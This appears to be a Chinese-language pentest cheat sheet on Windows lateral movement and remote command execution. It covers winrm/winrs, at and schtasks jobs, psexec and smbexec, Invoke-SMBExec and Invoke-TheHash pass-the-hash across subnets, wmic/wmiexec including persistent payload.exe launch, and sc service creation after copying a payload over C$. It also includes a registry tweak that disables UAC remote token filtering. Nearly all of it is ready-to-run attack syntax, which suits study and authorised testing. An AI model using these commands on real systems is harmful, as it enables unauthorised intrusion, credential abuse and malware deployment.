跳转至

远程命令执行

主要涉及windows远程命令执行

winrm

从2012R2开始,默认会开启5985端口,基于winrm服务,这是系统自带的远程管理工具(测试未成功,貌似要开启什么)

# 目标机器
winrm set winrm/config/Client @{TrustedHosts="*"}
netstat -ano|find "5985"
# 攻击机器
winrs -r:http://远程IP:5985 -u:用户名 -p:密码 命令
winrs -r:http://192.168.1.2:5985 -u:administrator -p:p@ssw0rd ipconfig

UAC问题,普通管理员登录后就是高权限

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

at

通过at在指定时间执行cmd命令

at \\ip 14:25 cmd.exe /c "ipconfig /all > C:\Windows\Temp\result.txt"

通过at在指定时间指定bat脚本

at \\ip 14:25 C:\Windows\Temp\payload.bat

查看at任务列表

at \\ip

删除计划任务

at \\ip 1 /delete

schtasks

创建计划任务:远程执行cmd命令

schtasks /create /s ip /u [domain\]username /p "password" /tn task_name /sc onstart /tr "cmd.exe /c ipconfig >> C:\Windows\Temp\result.log" /ru system /f

创建计划任务:远程执行bat脚本

schtasks /create /s ip /u [domain\]username /p "password" /tn task_name /sc onstart /tr "C:\Windows\Temp\payload.bat" /ru system /f

查看计划任务是否正确

schtasks /query /s ip /u [domain\]username /p password | findstr "task_name"

运行计划任务

schtasks /run /s ip /u [domain\]username /p "password" /i /tn "task_name"

删除计划任务

schtasks /delete /s ip /u [domain\]username /p password /tn "task_name" /f

psexec/smbexec[推荐]

要求开启445端口

直接使用psexec.exe执行命令

psexec.exe -accepteula \\ip -u username -p password "cmd.exe"

使用psexec.vbs执行命令

cscript //nologo psexec.vbs ip username password "ipconfig"

使用smbexec.exe执行命令

smbexec.exe host username password "ipconfig" admin$

使用Invoke-SMBExec执行命令

Invoke-SMBExec -Target ip -Username username[@domain.com] -Hash 
ntlm_hash -Command "ipconfig" -verbose

使用Invoke-TheHash

Invoke-TheHash -Type SMBExec -Targets 192.168.1.0/24 -TargetsExclude 192.168.1.50 -Username 
username -Hash ntlm_hash [-Command "ipconfig"]

wmic[推荐]

要求135端口开放

直接使用wmic,wmic默认没有回显,因此需要将文件进行重定向

wmic /node:ip /user:username /password:password process call create "cmd.exe /c ipconfig>C:\Windows\Temp\result.txt"

使用wmiexec.vbs执行命令

# 半交互shell
cscript //nologo wmiexec.vbs /shell ip username password
# 单命令执行
cscript //nolog wmiexec.vbs /cmd ip username password "ipconfig"
# 程序后台运行
cscript //nologo wmiexec.vbs /cmd ip username password "C:\Windows\Temp\payload.exe" -persist

使用Invoke-WMIExec.ps1执行命令(使用NTLM Hash)

Invoke-WMIExec -Target ip -Username username[@domain.com] -Hash 
ntlm_hash -Command "ipconfig" -verbose

使用Invoke-TheHash执行命令(使用NTLM Hash)

Invoke-TheHash -Type WMIExec -Targets 192.168.1.0/24 -TargetsExclude 192.168.1.50 -Username 
username -Hash ntlm_hash [-Command "ipconfig"]

使用WMIcmd.exe执行命令(测试出现拒绝访问问题)

WMIcmd.exe -h ip -u username -p password -c "ipconfig"

sc

更偏向以服务形式启动程序的方式

建立IPC连接

net use \\ip\C$ "password" /user:username

查看IPC连接

net use

远程拷贝文件

copy payload.exe \\ip\C$\Windows\Temp

通过sc创建服务

sc \\ip create service_name binpath="C:\Windows\Temp\payload.exe"

通过sc启动服务

sc \\ip start service_name

通过sc删除服务

sc \\ip del service_name